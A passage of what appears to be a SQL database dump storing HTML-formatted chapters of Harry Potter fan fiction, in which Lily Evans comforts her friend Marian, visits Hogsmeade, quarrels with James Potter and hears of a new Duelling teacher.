the ghostly light.  Lily recalled her earlier conversation with Marian.  Yes, they were kids, even though she didn&#8217;t feel like one.  They shouldn&#8217;t have to grow up so soon.  She sighed and was about to get into bed when she heard Marian calling her.</p>\n\n<p>&quot;Lily?&quot; she whispered, mindful of her sleeping dorm mates.</p>\n\n<p>Lily made her way silently across the room and sat atop the covers on the edge of Marian&#8217;s bed.  &quot;I thought you were asleep,&quot; she said, noticing that her friend&#8217;s eyes seemed to be swollen, although she couldn&#8217;t be sure in the dim light.</p>\n\n<p>&quot;I couldn&#8217;t fall asleep,&quot; Marian sobbed, confirming Lily&#8217;s suspicions.  She <i>had</i> been crying.  &quot;Oh Lily, I&#8217;m so sorry, I shouldn&#8217;t have got angry like that.  Please forgive me.&quot;</p>\n\n<p>&quot;Of course I forgive you Ri, don&#8217;t you remember the number of times I was the one to beg for forgiveness because of my wretched character?&quot;</p>\n\n<p>In fact it hadn&#8217;t happened that many times, but Marian smiled a little.</p>\n\n<p>&quot;Do you want to tell me what&#8217;s really wrong, Ri?&quot; Lily asked gently.</p>\n\n<p>Marian tried to laugh but it ended up as a half-sob.  &quot;You&#8217;ll think I&#8217;m stupid.  You know what we both think of Divination, just rubbish, supposedly cryptic stuff.  Now here I am, afraid because of a stupid feeling I have in my gut that I can&#8217;t get rid of.&quot;  She paused, expecting her friend to come up with a funny repartee to tease her, but nothing came; Lily was listening attentively.  Marian drew in a shaky breath and went on.  &quot;I know I&#8217;m supposed to be brave, being in Gryffindor and all that, but the truth is that I am terrified.  It came to me while I was in the library, reading up on the Duelling Club.  I was suddenly hit with the certainty that Voldemort was going to be the cause of my death, that a great number of people would lose their lives at his hands.  It&#8217;s not a vision I had, just a feeling, and it was so strong at first that it made me sick.&quot;</p>\n\n<p>Lily stayed silent long after Marian had finished.  She was shocked by what she had just heard, but not totally surprised.  She knew she had to say something, and weighed up her different options.  Her mind made up, she reached out tentatively and took her friend&#8217;s hand in hers, squeezing it comfortingly.  When she spoke, her voice was very gentle.  &quot;As you said, you didn&#8217;t have any vision.  It is perfectly understandable to be afraid.  Voldemort is a monster, and you&#8217;ve seen first hand what he can do when he attacked Diagon Alley this summer.  But you must not let it destroy you.  The wizarding world is well protected by very powerful witches and wizards.  We are under the care of the most powerful of them.  By the time we leave Hogwarts, the menace will have ceased to exist.  We will be free to live our lives to the fullest.&quot;</p>\n\n<p>As Lily delivered her little speech she hoped with all her heart that Marian would believe in it.  Lily didn&#8217;t quite believe in it herself, but she needed to be the strong one.  And with any chance it just <i>might</i> become true; you never knew.  As long as you didn&#8217;t lose hope, a miracle could always happen, especially in the wizarding world.</p>\n\n<p>Marian seemed calmer now.  She squeezed Lily&#8217;s hand back and smiled.  &quot;You&#8217;re right, as always.  I was just being over-emotional.  It&#8217;s time to sleep now, we don&#8217;t want to look like zombies for our first Hogsmeade trip tomorrow!&quot;</p>\n\n<p>Lily didn&#8217;t even bother changing into her pajamas, and crashed into bed directly.  She was so very tired.  There would always be some time to think everything over the next day.  She closed her eyes and fell asleep in a second, thinking of raspberry jam and a charming man.</p>\n\n<p>&nbsp;</p>\n<p>.</p>\n\n'),
	(170, 2, '\n\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><u></u><p><u>Chapter two:</u> Of friends and Transfiguration homework</p>\n</b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily yawned as she stepped through the portrait hole the next morning. She loved going to Hogsmeade, but she could have done without Amy&#8217;s cheerful wake-up call. Well, it wasn&#8217;t exactly the cheerful wake-up call she resented, but rather the ungodly hour at which it was made. Half past six wasn&#8217;t what Lily considered a reasonable time to get up on a Saturday, even if a Hogsmeade trip was scheduled. But Amy and Beth, the other Gryffindor 6th year girls, had it in their heads that they should be the first ones to arrive in the village so they could have a look at all the novelties before the throng of students descended upon the village.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Walking through the corridors of Hogwarts could be quite a risky business, even if you were alert. You never knew for sure what surprises the old building held in store for you; it could range from tricky staircases to wandering classrooms - without forgetting, of course, the numerous creatures you never wanted to run into, Peeves being a perfect example. But walking through those same corridors half-asleep was nearly suicide. Lily wasn&#8217;t worried though. Amy had her arm in a death grip and was dragging her firmly to the Great Hall for a quick breakfast. She was sufficiently awake for both of them and Lily didn&#8217;t have to snap out of her sleepy daze. She could vaguely hear Beth babbling about how great the day was going to be and how wonderful it was to get out of the castle. Marian was silent and probably not quite awake either. They were lucky they didn&#8217;t have any important classes to attend.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The fresh autumn air did wonders for Lily and Marian though, and the four girls arrived in Hogsmeade in high spirits. It must have been around eight o&#8217;clock and the village presented a happy picture indeed. Most of the shops didn&#8217;t open before nine but a lot of people were walking along the main street, going about their usual business..</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>A gust of wind carried the divine aroma of fresh baked brioches and Lily&#8217;s mouth watered - she had barely had the time to eat a piece of toast before Amy ushered them all out of the Great Hall and she was still hungry. She looked longingly at Bel&#8217;s Breads &amp; Brioches in front of which a small queue of witches and wizards was already forming on the street. &quot;<i>The best breads and brioches of the Wizarding world&quot;</i> was written in colourful lettering on the shop window, and Lily knew from experience that it was absolutely true.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>  Belinda Browning was one successful witch. A potion prodigy in her time at Hogwarts, she had chosen to use her gift to create irresistible recipes for the sweet-toothed people rather than to become a Potions Mistress at one of the renowned wizarding schools or devote herself to research. She was very proud of the fact that her recipes looked more like complicated formulae than anything else, and she claimed it was the reason for her success, which was probably true. Even the most hopeless at potions knew that a single drop could make a difference, or that simply by combining the ingredients of a given potion differently you would obtain a completely unexpected result. It made sense that someone good at potions would be good at cooking. Belinda, or Bel as she was more commonly known, was more than good: she had transformed it into an art, and had become very famous in the Wizarding world. She refused to open other shops in other places, though. &quot;I started in Hogsmeade and in Hogsmeade I will stay,&quot; she often said. She had a couple of young witches working for her but she was never above standing behind the counter from time to time, especially when the Hogwarts students came flocking into the village. She was very fond of children. Lily recalled with some nostalgia her first visit to Hogsmeade at the beginning of her third year. She had stepped into the shop lured by the delicious smell, and Bel herself had handed Lily her very first &#8216;<i>Summer D&#233;lice</i>&#8217;, a wonderfully soft brioche with a centre of chilled raspberry mousse. Just what she needed now&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Stop staring at <i>BBB,</i> Lily! You don&#8217;t want to add an ounce to that great figure of yours, believe me.&quot; Amy. Always the vain one.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;You&#8217;d better listen to Amy. You&#8217;ll want to look your best in the dress robes we&#8217;re going to buy today.&quot; Beth. Usually always agreeing with Amy on appearance matters.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily looked at Marian and rolled her eyes. &quot;I won&#8217;t look like anything if I pass out because I didn&#8217;t have anything decent to eat since yesterday evening.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Amy didn&#8217;t seem put out; the contrary, in fact. &quot;Well then, let&#8217;s just go to the Three Broomsticks. I must admit, I&#8217;m still hungry too. They serve a figure-friendly breakfast and we&#8217;ll be able to pass the time until the shops open,&quot; she said with a bright smile.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The four friends set off for the pub, walking arm in arm and occasionally bumping playfully against each other. Lily had a very special bond with Marian, and while she wouldn&#8217;t call Amy and Beth her close friends, the four of them got along pretty well. They always spent the first Hogsmeade trip of the year together and they had some kind of all girls evening from time to time. They would dress up like they did two days ago, talk about their problems, wishes, boys&#8230;it was mostly boys though. At first Lily had thought this was ridiculous and immature and had refused to participate in those talks, but she had warmed up gradually. She still wasn&#8217;t as bad as Beth or Amy, or even Marian, but she enjoyed being silly for a night once in a while. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The Three Broomsticks was almost empty when they stepped in. The pub never closed but not many people came in early on Saturday mornings. The &#8216;figure-friendly&#8217; breakfast looked suspiciously like any breakfast served at Hogwarts but with the added bonus of free hot Honeymilk served in a self-refilling pitcher, Lily noted.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;So,&quot; Marian said between mouthfuls of warm porridge, &quot;why are we supposed to buy dress robes today? We never use them at school.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Correction. We never had any use for them&#8230;&quot; Beth grinned, looking like the cat who got the cream. &quot;Until now.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;What do you mean?&quot; Lily frowned.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Amy leaned across the table and looked at her friends with an all-knowing expression. &quot;There&#8217;s going to be a ball at the end of the year, in honour of the winner of the Duelling competition.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily&#8217;s frown deepened. &quot;How do you know about the competition? Only the prefects were told about it at yesterday&#8217;s meeting. Anyway, the ball is going to be costume, not formal.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;They changed it, it&#8217;s going to be formal. I have my sources,&quot; Amy answered smugly.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily wanted to know more about Amy&#8217;s &#8216;sources&#8217;, but was prevented from enquiring further by Marian&#8217;s outburst.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Hold on a minute! Where does that competition thing come from? I thought it was just going to be a club we would be free to go to if we wanted to learn about defence and all that. Lily?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily shifted uneasily in her chair.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Dumbledore kept his announcement rather vague. Everything will be explained at the special assembly tomorrow.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;So?&quot; Marian was not deterred. &quot;Since you obviously know all about it, you can tell us, it won&#8217;t hurt anyone. I bet James told his friends as soon as he came out of that prefect meeting.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;James can do what he pleases. It&#8217;s no concern of mine.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Come on, we won&#8217;t tell a soul,&quot; Marian persisted. She looked at Beth and Amy for confirmation. The two girls nodded eagerly. Despite Amy&#8217;s &#8216;sources&#8217;, they didn&#8217;t know everything about the Duelling club, they just knew about the ball.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily gave in. Marian was right anyway. It wouldn&#8217;t hurt anyone to tell. &quot;Fine, I&#8217;ll spill the beans,&quot; she said. She took a sip of Honeymilk before starting.  &quot;From next week on, Duelling is going to be a compulsory subject for everyone. We&#8217;ll even have a special uniform for it. They&#8217;ve sorted out six levels: first and second years together, and a level for every other year. There will only be one weekly lesson for each year, and that means that for the first time, the four houses will have a common lesson together. Now the Duelling club. It won&#8217;t be compulsory and only the fifth years upwards can join. You&#8217;ll be able to practice what you learn in class in a friendly environment, and as you know, practice makes you better. The best duellers from each house who are enrolled in the club will be asked to participate in the Duelling competition. They will fight each other several times during the year, exactly like Quidditch, and the winner will get the cup. There, I&#8217;ve said everything I know. Any questions?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;Yes!&quot; three voices chorused together.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I should have known,&quot; Lily sighed. She took another sip from her drink. Really, she would take Honeymilk over Butterbeer anytime&#8230;</p>\n\n<p>&nbsp;</p>\n<p>&quot;I&#8217;ll go first, said Marian, ignoring Beth and Amy&#8217;s glares. &quot;It&#8217;s a bit weird than they&#8217;re only announcing it now, a week into school. Why didn&#8217;t they say this in our Hogwarts letters this summer?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&quot;From what I understood, it was decided only recently; a long time after the letters were sent. They didn&#8217;t even have a confirmed teacher until yesterday. So I suppose they didn&#8217;t want to tell us in case it would never happen. They planned everything right though. Each year has two free half-days and one of them will be filled with the Duelling class. We&#8217;re supposed to meet the teacher in the assembly tomorrow.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Oh, right.&quot; Marian seemed only half convinced by the explanation but kept silent.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;My turn now!&quot; said Amy. &quot;Do you know what the uniforms will be like? Anything form-fitting?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Amy!&quot; Lily exclaimed exasperatedly. &quot;Is that all you think about?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Amy shrugged. &quot;Seemed a relevant question to me.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily ignored her and turned to Beth. &quot;What was your question Beth?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Same as Amy&#8217;s,&quot; Beth answered sheepishly.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Great, just great,&quot; Lily muttered. &quot;Well, I think I should be entitled to a question too. Why do we have to buy dress robes <i>now</i> since the ball is nearly a full year away?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Isn&#8217;t it obvious?&quot; asked Amy, her eyes wide opened. &quot;Since the school governors are willing to spice up the year with a ball in June, we might be able to talk them into having another one before that. Halloween would do, or before the Christmas holidays&#8230;&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;The key word here is &#8216;<i>might&#8217;</i>, Amy,&quot; Marian said sarcastically. &quot;Supposing, and I say &#8216;<i>supposing&#8217;</i>, the Head Boy and Head Girl took the matter to Dumbledore, we have no guarantee the idea would be accepted. So you&#8217;d better save your money for when it&#8217;s definite.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;You could do with a bit more optimism today, Marian. Have you no faith in my persuading powers?&quot; Amy pouted.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Of course she has faith in your powers,&quot; Beth intervened smoothly. &quot;But we don&#8217;t have to buy anything, we can just try things on, can&#8217;t we?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Everyone found the idea quite appealing. They paid for breakfast and left The Three Broomsticks. The shops had opened while they were having their little conversation, but it wasn&#8217;t too late, and the streets were still relatively student-free.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                                                        **************************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>They stayed in Hogsmeade until the middle of the afternoon, and Lily finally had her &#8216;<i>Summer D&#233;lice&#8217;.</i>. They were all famished again after many hours of walking and shopping, and Amy hadn&#8217;t objected. Besides it would not be long before the &#8216;<i>Summer D&#233;lices</i>&#8217; disappeared in favour of the &#8216;<i>Autumn Fantaisies</i>&#8217;, and it might have been their last chance to taste the dainty brioches before the next year.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Once they had got back to their dormitory, their purchases safely tucked away, they separated, and Lily found herself alone in the common room, working on a Transfiguration essay. Marian had gone to meet the seventh year Ravenclaw boy who was going to tutor her in Charms. Professor Flitwick had recommended it since she hadn&#8217;t done very well the previous year. She was a bit nervous since she had never really met this boy before. Amy and Beth were still in the dormitory, probably doing anything except homework.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The common room was deserted as even the first and second years had decided to spend the day outside. From her seat by the window Lily could see some of them enjoying the sunny afternoon on the shore of the lake. She watched them for a moment before looking back to her nearly blank sheet of parchment. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Her assignment - &quot;Discuss the possible dangers of Animagus transfiguration&quot; - didn&#8217;t seem to agree with her. Oh, she found the subject fascinating enough. But Transfiguration had never been her forte. It was a pity, because becoming an Animagus did sound quite appealing. Lily sighed. No use dwelling on useless wishes, she told herself firmly, turning her attention back onto her essay. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>She wrote a few sentences down before realising she was wasting her time. She would need more books from the library to produce a decent piece of work, and she would probably end up discarding the few pathetic words she had just written. She still had two weeks to complete the essay anyway; there was no need to rush.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>She was just starting to put her things away when the portrait of the Fat Lady swung opened and none other than the Transfiguration wizz James Potter stepped into the common room. She considered asking for his help but quickly dropped the idea. Lily Evans didn&#8217;t ask for help with her homework; she was perfectly capable of finishing that essay on her own.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James didn&#8217;t seem in the best of moods, but his face lit up when he spotted Lily sitting at her regular table by the west window with a couple of books and a few sheets of parchment around her. She watched him as he swiftly crossed the room and plopped down in the chair opposite hers.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;And what may the marvellous Lily Evans be doing indoors on this lovely Saturday afternoon?&quot; he teased, reaching out across the table for a medium sized and plain looking brown book. Lily frantically tried to grab the book before him but he was too quick.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James raised an eyebrow as he read the title. &quot;I didn&#8217;t know you were that desperate, Lily.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily didn&#8217;t notice that his voice held not one ounce of mockery. Her face was red and she felt she had never been more humiliated in her entire life. </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I thought it would contain some useful information for my essay,&quot; she snapped. &quot;I am <i>not</i> &#8216;desperate&#8217; as you put it. A good wizard must know how to check every possible source available when writing on a specific subject.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Lily, if you need help, I -&quot; James started to say softly, but was cut off by Lily.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I do not need help! Didn&#8217;t you hear me?&quot; she said, exasperated, then immediately regretting her outburst.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James got up, his whole face seeming to close down.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Well, I hear you perfectly now. You don&#8217;t need to be so snappy when someone is offering to help you,&quot; he said putting the book back on the table, keeping his unreadable eyes on hers the whole time. He didn&#8217;t seem particularly angry, more resigned. It was hard to tell though.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>He turned around and started to walk away but Lily wouldn&#8217;t let him leave without apologising to him. She pushed her chair back and run to catch him at the bottom of the stairs leading to the boys&#8217; dormitories. She felt him tense when she put a hand on his arm to stop him, but he didn&#8217;t turn around.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I&#8217;m sorry James, I shouldn&#8217;t have talked to you like that. I&#8217;d just realised that everything I&#8217;d written was rubbish, and I was very frustrated when you came in. But it&#8217;s no excuse for my behaviour.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>James looked down at her and smiled briefly, his eyes still guarded.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;It&#8217;s okay Lily, there&#8217;s no harm done,&quot; he said softly.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>As she stood there, staring, he gently took her hand off his arm and started up the stairs. Why did she have the feeling he was not entirely sincere? And, was that guilt she had felt when he&#8217;d turned away? </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily was jolted back to reality when she realised she was alone. She went back to her table and finished packing her things away - except for the brown book, which was due back to the library today. She gazed at it for a moment. She hadn&#8217;t told James she had been mortified that he had caught her with it. He didn&#8217;t need to know that; besides she hadn&#8217;t exactly told him a lie, rather a half-truth.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Oh, so what? It wasn&#8217;t important anyway. She picked up <i>Transfiguration for the Magically Challenged</i> from the table and went back to her dormitory.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>                                                      *********************************</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>She found Beth and Amy sprawled on the floor with a large piece of parchment in front of them. Beth was just signing her name with a flourish when Amy looked up and spotted Lily.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Lily! You have perfect timing,&quot; she beamed.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Really?&quot; Lily said sceptically, dumping her bag at the foot of her bed. She placed the brown book cover-down carefully on top of it.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Yes. Here - take Beth&#8217;s quill,&quot; Amy went on, plucking the light feather from her friend&#8217;s fingers and waving it in Lily&#8217;s general direction. &quot;You&#8217;re going to sign our petition.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;What petition?&quot; Lily asked distractedly while petting her cat, Cl&#233;obulle, who was currently dozing on her bed. She had not seen him in two days and was surprised to find him there.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;The petition asking for a ball at Hogwarts, of course! Didn&#8217;t I tell you I would make sure we had one before June?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Are you sure it&#8217;s a good idea?&quot; Lily wasn&#8217;t very enthusiastic. She wasn&#8217;t very eager to attend that one ball in June in the first place, and she certainly didn&#8217;t wish for another one earlier than that.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Of course it&#8217;s a good idea!&quot; Beth spoke up. &quot;Everyone will want to sign it.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily reluctantly made her way to the two girls and took the quill from Amy. It was no use arguing with those two anyway, it was better to let them think she was all for the it or she would never hear the end of it. She looked down at the parchment and tried not to giggle when she saw what they had written:</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><p align="CENTER">MORE  FUN  AT  HOGWARTS !</p>\n</b>\n<i><p>We are proposing a ball at Hogwarts to give the students something to look forward to. It is doubtless that everyone&#8217;s grades will be much improved if they know they will be rewarded. A ball for Halloween, or just before the winter&#8217;s break, seems to be the solution. </p>\n<p>Sign below in the appropriate column to show your approval.</p>\n</i>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The large space beneath the written paragraph was divided in two columns, one marked &#8216;Halloween ball&#8217; and the other &#8216;Winter ball&#8217;. Amy and Beth had written their names under the Halloween one.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily knelt down on the floor and signed her name under &#8216;Winter ball&#8217;. The later the better in her opinion.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>She gave the quill back to Beth and walked up to her bed. She picked up <i>The Moonstone</i>&#8212;a Muggle book-- from her night table and made herself comfortable. With any chance she would finish the book before she had to go down for dinner. Cl&#233;obulle came over to pester her for a fuss and settled close to his mistress, purring contentedly.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Amy and Beth made three other copies of their petition and left soon afterwards, presumably to try and sneak a copy into each common room.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>The room was totally silent after their departure, save for Cl&#233;obulle&#8217;s lawn-maweresque purring.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>. The time passed quite quickly, and Lily was just about to find out who exactly had stolen the famous Moonstone when Marian stepped into the room, a silly grin on her face.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Why so happy?&quot; Lily asked. &quot;I didn&#8217;t know getting tutored on a Saturday could do that to you.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian giggled in a most un-Marianish fashion. &quot;You&#8217;d be surprised,&quot; she said, leaning against Lily&#8217;s bedpost. &quot;You should try it sometimes. But then I suppose you wouldn&#8217;t end up with a tutor like Gregory, he&#8217;s one in a million.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Lily blinked.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Gregory? As in Gregory Wentworth?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian nodded, silly grin still in place.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Gregory Wentworth is the seventh year boy tutoring you in Charms,&quot; Lily said slowly. She couldn&#8217;t believe it. Gregory was Howard&#8217;s best friend, and she had met him a few times when she and Howard were still dating. He was quite the womanizer, among other things. She would never have guessed Gregory would have good enough grades to be a tutor. And now it seemed as if Marian was smitten with Wonderboy Wentworth&#8230;Lily didn&#8217;t like that at all.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Well, yes, that&#8217;s what I said.&quot; Marian gave her friend a wry look. &quot;And you don&#8217;t have to be so gloomy about it! He&#8217;s very nice. When we bumped into Beth and Amy coming back from our lesson, he offered to take their petition to the Ravenclaw common room himself, and he even said he would be the first one to sign it. I thought Beth would faint on the spot!&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian had seen the petition and didn&#8217;t seem the least bit bothered by it? Well, <i>that</i> was worrying.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Did <i>you</i> sign that petition, Marian?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Of course I did.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;But I thought you hated balls and large gatherings in general?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian dismissed several years of aversion for those sorts of events with a careless wave of her hand.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Well, everybody can change their opinion, can&#8217;t they?&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Sure.&quot; Lily answered rather sceptically.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>But Marian didn&#8217;t notice. She plopped down on Lily&#8217;s bed and started tickling Cl&#233;obulle like mad. She got a nasty scratch on the back of her right hand for her efforts, but was still in the best of moods. Totally the opposite to yesterday, in fact, Lily thought. Perhaps a boy was just what her friend needed at the moment. It was just that Gregory Wentworth seemed so wrong for her. It was not her place to say anything though, at least not yet.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Want to go down to dinner?&quot; she asked after a quick glance at her clock sitting on her bedside table. &quot;It&#8217;s nearly seven.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Alright, let&#8217;s go. I&#8217;m starving.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian sauntered gaily to the door and waited for her friend. Lily closed <i>The Moonstone</i> and got up from her bed, giving Cl&#233;obulle a light tap on his well-rounded belly.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;I just have to return this book to the library first,&quot; she said, picking up <i>Transfiguration for the Magically Challenged</i> on her way to the door.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Marian just nodded and the two friends were soon walking through the corridors, chatting amiably.</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(170, 3, '\n\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><u></u><p><u>Chapter 3:</u> The new teacher and a visit to the Library.</p>\n</b>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&quot;Your attention, please!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Dumbledore&#8217;s magically enhanced voiced boomed through the Great Hall and all conversations were promptly interrupted.</p>\n\n<p>&nbsp;</p>\n<p>The Headmaster was standing on the platform where the Head Table usually was and he looked quite imposing in his robes of deep purple with a tall matching hat on his head. His keen blue eyes swept over the students and he smiled.</p>\n\n<p>&nbsp;</p>\n<p>The whole school was assembled in front of him on this fine Sunday morning. The House tables had been pushed against the walls and hundreds of chairs had been brought, or rather conjured up, instead. The platform on which Dumbledore was standing was reasonably high and those seated in the back only had to crane their necks a little bit to see his face. Lily, who was seated near the front, did not need to crane her neck at all; she could even see all the teachers standing against the wall behind the Headmaster. As she scanned their familiar figures, she noticed one, clad in sober black robes, she did not know at all. <i>The new teacher, </i>she thought.</p>\n\n<p>&nbsp;</p>\n<p>&quot;I know that the announcement I made the other day greatly disturbed some of you,&quot; Dumbledore said, his voice not as loud as before but still easily heard by everyone. &quot;But I can assure you that what is going to happen this year is not as terrible as you think. I will let someone else more expert on the matter than I am explain everything to you. Will you please welcome Professor Raven, who has kindly agreed to join us at Hogwarts to teach you the art of Duelling!&quot;</p>\n\n<p>&nbsp;</p>\n<p>Dumbledore turned towards the teachers and the stranger came to join him. The Headmaster placed a comforting hand on the younger man&#8217;s 